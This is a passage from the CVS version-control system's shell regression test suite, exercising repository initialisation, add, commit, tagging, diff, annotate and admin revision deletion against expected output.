different than CVSROOT on case insensitive\n# filesystems (e.g., HFS+)\nCVSROOTDIR=cvsrootdir\nif $linkroot; then\n mkdir ${TESTDIR}/realcvsroot\n ln -s realcvsroot ${TESTDIR}/${CVSROOTDIR}\nfi\nCVSROOT_DIRNAME=${TESTDIR}/${CVSROOTDIR}\nCVSROOT=`newroot $CVSROOT_DIRNAME`; export CVSROOT\n\n\n\n###\n### Init the repository.\n###\ndotest init-1 \"$testcvs -d$CVSROOT_DIRNAME init\"\n\n# Copy the admin files for restore_adm.\ncp -Rp $CVSROOT_DIRNAME/CVSROOT $TESTDIR/CVSROOT.save\n\n\n\n###\n### The tests\n###\nif $remote; then\n\tlocalonly init-2\n\tlocalonly init-3\nelse\n\tdotest init-2 \"$testcvs init\"\n\tdotest_fail init-3 \"$testcvs -d $CVSROOT/sdir init\" \\\n\"$PROG \\[init aborted\\]: Cannot initialize repository under existing CVSROOT: \\`$CVSROOT_DIRNAME'\"\nfi\n\n\n\n### The big loop\nfor what in $tests; do\n\tif test -n \"$fromtest\" ; then\n\t if test $fromtest = $what ; then\n\t\tunset fromtest\n\t else\n\t\tcontinue\n\t fi\n\tfi\n\n\tif $verbose; then\n\t echo \"$what:\"\n\tfi\n\n\tcase $what in\n\n\tversion)\n\t # We've had cases where the version command started dumping core,\n\t # so we might as well test it\n\t dotest version-1 \"${testcvs} --version\" \\\n'\nConcurrent Versions System (CVS) [0-9.]*.*\n\nCopyright (C) [0-9]* Free Software Foundation, Inc.\n\nSenior active maintainers include , ,\nand . Please see the AUTHORS and README files from the CVS\ndistribution kit for a complete list of contributors and copyrights.\n\nCVS may be copied only under the terms of the GNU General Public License,\na copy of which can be found with the CVS distribution kit.\n\nSpecify the --help option for further information about CVS'\n\n\t if $remote; then\n\t\tdotest version-2r \"${testcvs} version\" \\\n'Client: Concurrent Versions System (CVS) [0-9p.]* (client/server)\nServer: Concurrent Versions System (CVS) [0-9p.]* (client/server)'\n\t else\n\t\tdotest version-2 \"${testcvs} version\" \\\n'Concurrent Versions System (CVS) [0-9.]*.*'\n\t fi\n\t ;;\n\n\tbasica)\n\t # Similar in spirit to some of the basic1, and basic2\n\t # tests, but hopefully a lot faster. Also tests operating on\n\t # files two directories down *without* operating on the parent dirs.\n\n\t # Tests basica-0a and basica-0b provide the equivalent of the:\n\t # mkdir ${CVSROOT_DIRNAME}/first-dir\n\t # used by many of the tests. It is \"more official\" in the sense\n\t # that is does everything through CVS; the reason most of the\n\t # tests don't use it is mostly historical.\n\t mkdir 1; cd 1\n\t dotest basica-0a \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest basica-0b \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd ..\n\t rm -r 1\n\n\t dotest basica-1 \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\n\t # Test a few operations, to ensure they gracefully do\n\t # nothing in an empty directory.\n\t dotest basica-1a0 \"${testcvs} -q update\" ''\n\t dotest basica-1a1 \"${testcvs} -q diff -c\" ''\n\t dotest basica-1a2 \"${testcvs} -q status\" ''\n\t dotest basica-1a3 \"${testcvs} -q update .\" ''\n\t dotest basica-1a4 \"${testcvs} -q update ./\" ''\n\n\t mkdir sdir\n\t # Remote CVS gives the \"cannot open CVS/Entries\" error, which is\n\t # clearly a bug, but not a simple one to fix.\n\t dotest basica-1a10 \"${testcvs} -n add sdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/sdir added to the repository\" \\\n\"${PROG} add: cannot open CVS/Entries for reading: No such file or directory\nDirectory ${CVSROOT_DIRNAME}/first-dir/sdir added to the repository\"\n\t dotest_fail basica-1a11 \\\n\t \"test -d ${CVSROOT_DIRNAME}/first-dir/sdir\" ''\n\t dotest basica-2 \"${testcvs} add sdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/sdir added to the repository\"\n\t cd sdir\n\t mkdir ssdir\n\t dotest basica-3 \"${testcvs} add ssdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir added to the repository\"\n\t cd ssdir\n\t echo ssfile >ssfile\n\n\t # Trying to commit it without a \"cvs add\" should be an error.\n\t # The \"use `cvs add' to create an entry\" message is the one\n\t # that I consider to be more correct, but local cvs prints the\n\t # \"nothing known\" message and noone has gotten around to fixing it.\n\t dotest_fail basica-notadded \"${testcvs} -q ci ssfile\" \\\n\"${PROG} [a-z]*: use .${PROG} add. to create an entry for ssfile\n${PROG}\"' \\[[a-z]* aborted\\]: correct above errors first!' \\\n\"${PROG}\"' [a-z]*: nothing known about `ssfile'\\''\n'\"${PROG}\"' \\[[a-z]* aborted\\]: correct above errors first!'\n\n\t dotest basica-4 \"${testcvs} add ssfile\" \\\n\"${PROG}\"' add: scheduling file `ssfile'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest_fail basica-4a \"${testcvs} tag tag0 ssfile\" \\\n\"${PROG} tag: nothing known about ssfile\n${PROG} \"'\\[tag aborted\\]: correct the above errors first!'\n\t cd ../..\n\t dotest basica-5 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\ndone\nChecking in sdir/ssdir/ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\ninitial revision: 1\\.1\ndone\"\n\t dotest_fail basica-5a \\\n\t \"${testcvs} -q tag BASE sdir/ssdir/ssfile\" \\\n\"${PROG} tag: Attempt to add reserved tag name BASE\n${PROG} \\[tag aborted\\]: failed to set tag BASE to revision 1\\.1 in ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\"\n\t dotest basica-5b \"${testcvs} -q tag NOT_RESERVED\" \\\n'T sdir/ssdir/ssfile'\n\n\t dotest basica-6 \"${testcvs} -q update\" ''\n\t echo \"ssfile line 2\" >>sdir/ssdir/ssfile\n\t dotest_fail basica-6.2 \"${testcvs} -q diff -c\" \\\n\"Index: sdir/ssdir/ssfile\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\nretrieving revision 1\\.1\ndiff -c -r1\\.1 ssfile\n\\*\\*\\* sdir/ssdir/ssfile\t${RFCDATE}\t1\\.1\n--- sdir/ssdir/ssfile\t${RFCDATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n--- 1,2 ----\n ssfile\n${PLUS} ssfile line 2\"\n\t dotest_fail basica-6.3 \"${testcvs} -q diff -c -rBASE\" \\\n\"Index: sdir/ssdir/ssfile\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\nretrieving revision 1\\.1\ndiff -c -r1\\.1 ssfile\n\\*\\*\\* sdir/ssdir/ssfile\t${RFCDATE}\t1\\.1\n--- sdir/ssdir/ssfile\t${RFCDATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n--- 1,2 ----\n ssfile\n${PLUS} ssfile line 2\"\n\t dotest_fail basica-6.4 \"${testcvs} -q diff -c -rBASE -C3isacrowd\" \\\n\"Index: sdir/ssdir/ssfile\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\nretrieving revision 1\\.1\ndiff -c -C 3isacrowd -r1\\.1 ssfile\n${PROG} diff: invalid context length argument\"\n\t dotest basica-7 \"${testcvs} -q ci -m modify-it\" \\\n\"Checking in sdir/ssdir/ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t dotest_fail basica-nonexist \"${testcvs} -q ci nonexist\" \\\n\"${PROG}\"' [a-z]*: nothing known about `nonexist'\\''\n'\"${PROG}\"' \\[[a-z]* aborted\\]: correct above errors first!'\n\t dotest basica-8 \"${testcvs} -q update .\" ''\n\n\t # Test the -f option to ci\n\t cd sdir/ssdir\n\t dotest basica-8a0 \"${testcvs} -q ci -m not-modified ssfile\" ''\n\t dotest basica-8a \"${testcvs} -q ci -f -m force-it\" \\\n\"Checking in ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t dotest basica-8a1 \"${testcvs} -q ci -m bump-it -r 2.0\" \\\n\"Checking in ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: 2\\.0; previous revision: 1\\.3\ndone\"\n\t dotest basica-8a1a \"${testcvs} -q ci -m bump-it -r 2.9\" \\\n\"Checking in ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: 2\\.9; previous revision: 2\\.0\ndone\"\n\t # Test string-based revion number increment rollover\n\t dotest basica-8a1b \"${testcvs} -q ci -m bump-it -f -r 2\" \\\n\"Checking in ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: 2\\.10; previous revision: 2\\.9\ndone\"\n\t dotest basica-8a1c \"${testcvs} -q ci -m bump-it -r 2.99\" \\\n\"Checking in ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: 2\\.99; previous revision: 2\\.10\ndone\"\n\t # Test string-based revion number increment rollover\n\t dotest basica-8a1d \"${testcvs} -q ci -m bump-it -f -r 2\" \\\n\"Checking in ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: 2\\.100; previous revision: 2\\.99\ndone\"\n\t dotest basica-8a1e \"${testcvs} -q ci -m bump-it -r 2.1099\" \\\n\"Checking in ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: 2\\.1099; previous revision: 2\\.100\ndone\"\n\t # Test string-based revion number increment rollover\n\t dotest basica-8a1f \"${testcvs} -q ci -m bump-it -f -r 2\" \\\n\"Checking in ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: 2\\.1100; previous revision: 2\\.1099\ndone\"\n\t # -f should not be necessary, but it should be harmless.\n\t # Also test the \"-r 3\" (rather than \"-r 3.0\") usage.\n\t dotest basica-8a2 \"${testcvs} -q ci -m bump-it -f -r 3\" \\\n\"Checking in ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: 3\\.1; previous revision: 2\\.1100\ndone\"\n\n\t # Test using -r to create a branch\n\t dotest_fail basica-8a3 \"${testcvs} -q ci -m bogus -r 3.0.0\" \\\n\"Checking in ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\n${PROG} commit: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v: can't find branch point 3\\.0\n${PROG} commit: could not check in ssfile\"\n\t dotest basica-8a4 \"${testcvs} -q ci -m valid -r 3.1.2\" \\\n\"Checking in ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: 3\\.1\\.2\\.1; previous revision: 3\\.1\ndone\"\n\n\t # Verify that this file remains unchanged since up -A should not\n\t # change the contents here.\n\t cp ssfile $TESTDIR/ssfile.sav\n\t # now get rid of the sticky tag and go back to the trunk\n\t dotest basica-8a5 \"$testcvs -q up -A ./\" '[UP] ssfile'\n\t dotest basica-8a6 \"cmp ssfile $TESTDIR/ssfile.sav\"\n\t rm $TESTDIR/ssfile.sav\n\n\t cd ../..\n\t dotest basica-8b \"${testcvs} -q diff -r1.2 -r1.3\"\n\t dotest basica-8b1 \"${testcvs} -q diff -r1.2 -r1.3 -C 3isacrowd\"\n\n\t # The .* here will normally be \"No such file or directory\",\n\t # but if memory serves some systems (AIX?) have a different message.\n:\t dotest_fail basica-9 \\\n\t \"${testcvs} -q -d ${TESTDIR}/nonexist update\" \\\n\"${PROG}: cannot access cvs root ${TESTDIR}/nonexist: .*\"\n\t dotest_fail basica-9 \\\n\t \"${testcvs} -q -d ${TESTDIR}/nonexist update\" \\\n\"${PROG} \\[[a-z]* aborted\\]: ${TESTDIR}/nonexist/CVSROOT: .*\"\n\n\t dotest basica-10 \"${testcvs} annotate\" \\\n'\nAnnotations for sdir/ssdir/ssfile\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n1\\.1 .'\"$username8\"' *[0-9a-zA-Z-]*.: ssfile\n1\\.2 .'\"$username8\"' *[0-9a-zA-Z-]*.: ssfile line 2'\n\n\t # Test resurrecting with strange revision numbers\n\t cd sdir/ssdir\n\t dotest basica-r1 \"${testcvs} rm -f ssfile\" \\\n\"${PROG} remove: scheduling .ssfile. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest basica-r2 \"${testcvs} -q ci -m remove\" \\\n\"Removing ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: delete; previous revision: 3\\.1\ndone\"\n\t dotest basica-r3 \"${testcvs} -q up -p -r 3.1 ./ssfile >ssfile\" \"\"\n\t dotest basica-r4 \"${testcvs} add ssfile\" \\\n\"${PROG} add: Re-adding file .ssfile. (in place of dead revision 3\\.2)\\.\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest basica-r5 \"${testcvs} -q ci -m resurrect\" \\\n\"Checking in ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v <-- ssfile\nnew revision: 3\\.3; previous revision: 3\\.2\ndone\"\n\t cd ../..\n\n\t # As long as we have a file with a few revisions, test\n\t # a few \"cvs admin -o\" invocations.\n\t cd sdir/ssdir\n\t dotest_fail basica-o1 \"${testcvs} admin -o 1.2::1.2\" \\\n\"${PROG} [a-z]*: while processing more than one file:\n${PROG} \\[[a-z]* aborted\\]: attempt to specify a numeric revision\"\n\t dotest basica-o2 \"${testcvs} admin -o 1.2::1.2 ssfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\ndone\"\n\t dotest basica-o2a \"${testcvs} admin -o 1.1::NOT_RESERVED ssfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\ndone\"\n\t dotest_fail basica-o2b \"${testcvs} admin -o 1.1::NOT_EXIST ssfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v: Revision NOT_EXIST doesn't exist.\n${PROG} admin: RCS file for .ssfile. not modified\\.\"\n\t dotest basica-o3 \"${testcvs} admin -o 1.2::1.3 ssfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\ndone\"\n\t dotest basica-o4 \"${testcvs} admin -o 3.1:: ssfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\ndeleting revision 3\\.3\ndeleting revision 3\\.2\ndone\"\n\t dotest basica-o5 \"${testcvs} admin -o ::1.1 ssfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\ndone\"\n\t dotest basica-o5a \"${testcvs} -n admin -o 1.2::3.1 ssfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\ndeleting revision 2\\.1100\ndeleting revision 2\\.1099\ndeleting revision 2\\.100\ndeleting revision 2\\.99\ndeleting revision 2\\.10\ndeleting revision 2\\.9\ndeleting revision 2\\.0\ndeleting revision 1\\.3\ndone\"\n\t dotest basica-o6 \"${testcvs} admin -o 1.2::3.1 ssfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\ndeleting revision 2\\.1100\ndeleting revision 2\\.1099\ndeleting revision 2\\.100\ndeleting revision 2\\.99\ndeleting revision 2\\.10\ndeleting revision 2\\.9\ndeleting revision 2\\.0\ndeleting revision 1\\.3\ndone\"\n\t dotest basica-o6a \"${testcvs} admin -o 3.1.2: ssfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\ndeleting revision 3\\.1\\.2\\.1\ndone\"\n\t dotest basica-o7 \"${testcvs} log -N ssfile\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/ssdir/ssfile,v\nWorking file: ssfile\nhead: 3\\.1\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 3\ndescription:\n----------------------------\nrevision 3\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}0 -0\nbump-it\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nmodify-it\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nadd-it\n=============================================================================\"\n\t dotest basica-o8 \"${testcvs} -q update -p -r 1.1 ./ssfile\" \"ssfile\"\n\t cd ../..\n\n\t cd ..\n\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t rm -r first-dir\n\t ;;\n\n\tbasicb)\n\t # More basic tests, including non-branch tags and co -d.\n\t mkdir 1; cd 1\n\t dotest basicb-0a \"${testcvs} -q co -l .\" ''\n\t touch topfile\n\t dotest basicb-0b \"${testcvs} add topfile\" \\\n\"${PROG} add: scheduling file .topfile. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest basicb-0c \"${testcvs} -q ci -m add-it topfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/topfile,v\ndone\nChecking in topfile;\n${CVSROOT_DIRNAME}/topfile,v <-- topfile\ninitial revision: 1\\.1\ndone\"\n\t cd ..\n\t rm -r 1\n\t mkdir 2; cd 2\n\t dotest basicb-0d \"${testcvs} -q co -l .\" \"U topfile\"\n\t # Now test the ability to run checkout on an existing working\n\t # directory without having it lose its mind. I don't know\n\t # whether this is tested elsewhere in sanity.sh. A more elaborate\n\t # test might also have modified files, make sure it works if\n\t # the modules file was modified to add new directories to the\n\t # module, and such.\n\t dotest basicb-0d0 \"${testcvs} -q co -l .\" \"\"\n\t mkdir first-dir\n\t dotest basicb-0e \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd ..\n\t rm -r 2\n\n\t dotest basicb-1 \"${testcvs} -q co first-dir\" ''\n\n\t # The top-level CVS directory is not created by default.\n\t # I'm leaving basicb-1a and basicb-1b untouched, mostly, in\n\t # case we decide that the default should be reversed...\n\n\t dotest_fail basicb-1a \"test -d CVS\" ''\n\n\t dotest basicb-1c \"cat first-dir/CVS/Repository\" \"first-dir\"\n\n\t cd first-dir\n\t # Note that the name Emptydir is chosen to test that CVS just\n\t # treats it like any other directory name. It should be\n\t # special only when it is directly in $CVSROOT/CVSROOT.\n\t mkdir Emptydir sdir2\n\t dotest basicb-2 \"${testcvs} add Emptydir sdir2\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/Emptydir added to the repository\nDirectory ${CVSROOT_DIRNAME}/first-dir/sdir2 added to the repository\"\n\t cd Emptydir\n\t echo sfile1 starts >sfile1\n\t dotest basicb-2a10 \"${testcvs} -n add sfile1\" \\\n\"${PROG} add: scheduling file .sfile1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest basicb-2a11 \"${testcvs} status sfile1\" \\\n\"${PROG} status: use .${PROG} add. to create an entry for sfile1\n===================================================================\nFile: sfile1 \tStatus: Unknown\n\n Working revision:\tNo entry for sfile1\n Repository revision:\tNo revision control file\"\n\t dotest basicb-3 \"${testcvs} add sfile1\" \\\n\"${PROG} add: scheduling file .sfile1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest basicb-3a1 \"${testcvs} status sfile1\" \\\n\"===================================================================\nFile: sfile1 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t cd ../sdir2\n\t echo sfile2 starts >sfile2\n\t dotest basicb-4 \"${testcvs} add sfile2\" \\\n\"${PROG} add: scheduling file .sfile2. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest basicb-4a \"${testcvs} -q ci CVS\" \\\n\"${PROG} [a-z]*: warning: directory CVS specified in argument\n${PROG} [a-z]*: but CVS uses CVS for its own purposes; skipping CVS directory\"\n\t cd ..\n\t dotest basicb-5 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Emptydir/sfile1,v\ndone\nChecking in Emptydir/sfile1;\n${CVSROOT_DIRNAME}/first-dir/Emptydir/sfile1,v <-- sfile1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/sdir2/sfile2,v\ndone\nChecking in sdir2/sfile2;\n${CVSROOT_DIRNAME}/first-dir/sdir2/sfile2,v <-- sfile2\ninitial revision: 1\\.1\ndone\"\n\t echo sfile1 develops >Emptydir/sfile1\n\t dotest basicb-6 \"${testcvs} -q ci -m modify\" \\\n\"Checking in Emptydir/sfile1;\n${CVSROOT_DIRNAME}/first-dir/Emptydir/sfile1,v <-- sfile1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t dotest basicb-7 \"${testcvs} -q tag release-1\" 'T Emptydir/sfile1\nT sdir2/sfile2'\n\t echo not in time for release-1 >sdir2/sfile2\n\t dotest basicb-8 \"${testcvs} -q ci -m modify-2\" \\\n\"Checking in sdir2/sfile2;\n${CVSROOT_DIRNAME}/first-dir/sdir2/sfile2,v <-- sfile2\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t # See if CVS can correctly notice when an invalid numeric\n\t # revision is specified.\n\t # Commented out until we get around to fixing CVS\n:\t dotest basicb-8a0 \"${testcvs} diff -r 1.5 -r 1.7 sfile2\" 'error msg'\n\t cd ..\n\n\t # Test that we recurse into the correct directory when checking\n\t # for existing files, even if co -d is in use.\n\t touch first-dir/extra\n\t dotest basicb-cod-1 \"${testcvs} -q co -d first-dir1 first-dir\" \\\n'U first-dir1/Emptydir/sfile1\nU first-dir1/sdir2/sfile2'\n\t rm -r first-dir1\n\n\t rm -r first-dir\n\n\t # FIXME? basicb-9 used to check things out like this:\n\t # U newdir/Emptydir/sfile1\n\t # U newdir/sdir2/sfile2\n\t # but that's difficult to do. The whole \"shorten\" thing\n\t # is pretty bogus, because it will break on things\n\t # like \"cvs co foo/bar baz/quux\". Unless there's some\n\t # pretty detailed expansion and analysis of the command-line\n\t # arguments, we shouldn't do \"shorten\" stuff at all.\n\n\t dotest basicb-9 \\\n\"${testcvs} -q co -d newdir -r release-1 first-dir/Emptydir first-dir/sdir2\" \\\n'U newdir/first-dir/Emptydir/sfile1\nU newdir/first-dir/sdir2/sfile2'\n\n\t # basicb-9a and basicb-9b: see note about basicb-1a\n\n\t dotest_fail basicb-9a \"test -d CVS\" ''\n\n\t dotest basicb-9c \"cat newdir/CVS/Repository\" \"\\.\"\n\t dotest basicb-9d \"cat newdir/first-dir/CVS/Repository\" \\\n\"${CVSROOT_DIRNAME}/first-dir\" \\\n\"first-dir\"\n\t dotest basicb-9e \"cat newdir/first-dir/Emptydir/CVS/Repository\" \\\n\"${CVSROOT_DIRNAME}/first-dir/Emptydir\" \\\n\"first-dir/Emptydir\"\n\t dotest basicb-9f \"cat newdir/first-dir/sdir2/CVS/Repository\" \\\n\"${CVSROOT_DIRNAME}/first-dir/sdir2\" \\\n\"first-dir/sdir2\"\n\n\t dotest basicb-10 \"cat newdir/first-dir/Emptydir/sfile1 newdir/first-dir/sdir2/sfile2\" \\\n\"sfile1 develops\nsfile2 starts\"\n\n\t rm -r newdir\n\n\t # Hmm, this might be a case for CVSNULLREPOS, but CVS doesn't\n\t # seem to deal with it...\n\t if false; then\n\t dotest basicb-11 \"${testcvs} -q co -d sub1/sub2 first-dir\" \\\n\"U sub1/sub2/Emptydir/sfile1\nU sub1/sub2/sdir2/sfile2\"\n\t cd sub1\n\t dotest basicb-12 \"${testcvs} -q update ./.\" ''\n\t touch xx\n\t dotest basicb-13 \"${testcvs} add xx\" fixme\n\t cd ..\n\t rm -r sub1\n\t # to test: sub1/sub2/sub3\n\t fi # end of tests commented out.\n\n\t # Create a second directory.\n\t mkdir 1\n\t cd 1\n\t dotest basicb-14 \"${testcvs} -q co -l .\" 'U topfile'\n\t mkdir second-dir\n\t dotest basicb-15 \"${testcvs} add second-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/second-dir added to the repository\"\n\t cd second-dir\n\t touch aa\n\t dotest basicb-16 \"${testcvs} add aa\" \\\n\"${PROG} add: scheduling file .aa. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest basicb-17 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/second-dir/aa,v\ndone\nChecking in aa;\n${CVSROOT_DIRNAME}/second-dir/aa,v <-- aa\ninitial revision: 1\\.1\ndone\"\n\t cd ..\n\n\t # Try to remove all revisions in a file.\n\t dotest_fail basicb-o1 \"${testcvs} admin -o1.1 topfile\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/topfile,v\ndeleting revision 1\\.1\n${PROG} \\[admin aborted\\]: attempt to delete all revisions\"\n\t dotest basicb-o2 \"${testcvs} -q update -d first-dir\" \\\n\"U first-dir/Emptydir/sfile1\nU first-dir/sdir2/sfile2\"\n\t dotest_fail basicb-o3 \\\n\"${testcvs} admin -o1.1:1.2 first-dir/sdir2/sfile2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir2/sfile2,v\ndeleting revision 1\\.2\ndeleting revision 1\\.1\n${PROG} \\[admin aborted\\]: attempt to delete all revisions\"\n\t cd ..\n\t rm -r 1\n\n\t mkdir 1; cd 1\n\t # Note that -H is an illegal option.\n\t # I suspect that the choice between \"illegal\" and \"invalid\"\n\t # depends on the user's environment variables, the phase\n\t # of the moon (weirdness with optind), and who knows what else.\n\t # I've been seeing \"illegal\"...\n\t dotest_fail basicb-21 \"${testcvs} -q admin -H\" \\\n\"admin: illegal option -- H\n${PROG} \\[admin aborted\\]: specify ${PROG} -H admin for usage information\" \\\n\"admin: invalid option -- H\n${PROG} \\[admin aborted\\]: specify ${PROG} -H admin for usage information\"\n\t cd ..\n\t rmdir 1\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t rm -rf ${CVSROOT_DIRNAME}/second-dir\n\t rm -f ${CVSROOT_DIRNAME}/topfile,v\n\t ;;\n\n\tbasicc)\n\t # More tests of basic/miscellaneous functionality.\n\t mkdir 1; cd 1\n\t dotest_fail basicc-1 \"${testcvs} diff\" \\\n\"${PROG} [a-z]*: in directory \\.:\n${PROG} \\[[a-z]* aborted\\]: there is no version here; run .${PROG} checkout. first\"\n\t dotest basicc-2 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir second-dir\n\t dotest basicc-3 \"${testcvs} add first-dir second-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\nDirectory ${CVSROOT_DIRNAME}/second-dir added to the repository\"\n\t # Old versions of CVS often didn't create this top-level CVS\n\t # directory in the first place. I think that maybe the only\n\t # way to get it to work currently is to let CVS create it,\n\t # and then blow it away (don't complain if it does not\n\t # exist). But that is perfectly legal; people who are used\n\t # to the old behavior especially may be interested.\n\t # FIXME: this test is intended for the TopLevelAdmin=yes case;\n\t # should adjust/move it accordingly.\n\t rm -rf CVS\n\t dotest basicc-4 \"echo *\" \"first-dir second-dir\"\n\t dotest basicc-5 \"${testcvs} update\" \\\n\"${PROG} update: Updating first-dir\n${PROG} update: Updating second-dir\" \\\n\"${PROG} update: Updating \\.\n${PROG} update: Updating first-dir\n${PROG} update: Updating second-dir\"\n\n\t cd first-dir\n\t dotest basicc-6 \"${testcvs} release -d\" \"\"\n\t dotest basicc-7 \"test -d ../first-dir\" \"\"\n\t # The Linux 2.2 kernel lets you delete \".\". That's OK either way,\n\t # the point is that CVS must not mess with anything *outside* \".\"\n\t # the way that CVS 1.10 and older tried to.\n\t dotest basicc-8 \"${testcvs} -Q release -d .\" \\\n\"\" \"${PROG} release: deletion of directory \\. failed: .*\"\n\t dotest basicc-9 \"test -d ../second-dir\" \"\"\n\t # For CVS to make a syntactic check for \".\" wouldn't suffice.\n\t # On Linux 2.2 systems, the cwd may be gone, so we recreate it\n # to allow basicc-11 to actually happen \n\t if test ! -d ../first-dir; then\n\t # Apparently `cd ..' doesn't work with Linux 2.2 & Bash 2.05b.\n\t cd $TESTDIR/1\n\t mkdir ./first-dir\n cd ./first-dir\n\t fi\n\t dotest basicc-11 \"${testcvs} -Q release -d ./.\" \\\n\"\" \"${PROG} release: deletion of directory \\./\\. failed: .*\"\n\t dotest basicc-11a \"test -d ../second-dir\" \"\"\n\n\t cd ../..\n\n\t mkdir 2; cd 2\n\t dotest basicc-12 \"${testcvs} -Q co .\" \"\"\n\t # actual entries can be in either Entries or Entries.log, do\n\t # an update to get them consolidated into Entries\n\t dotest 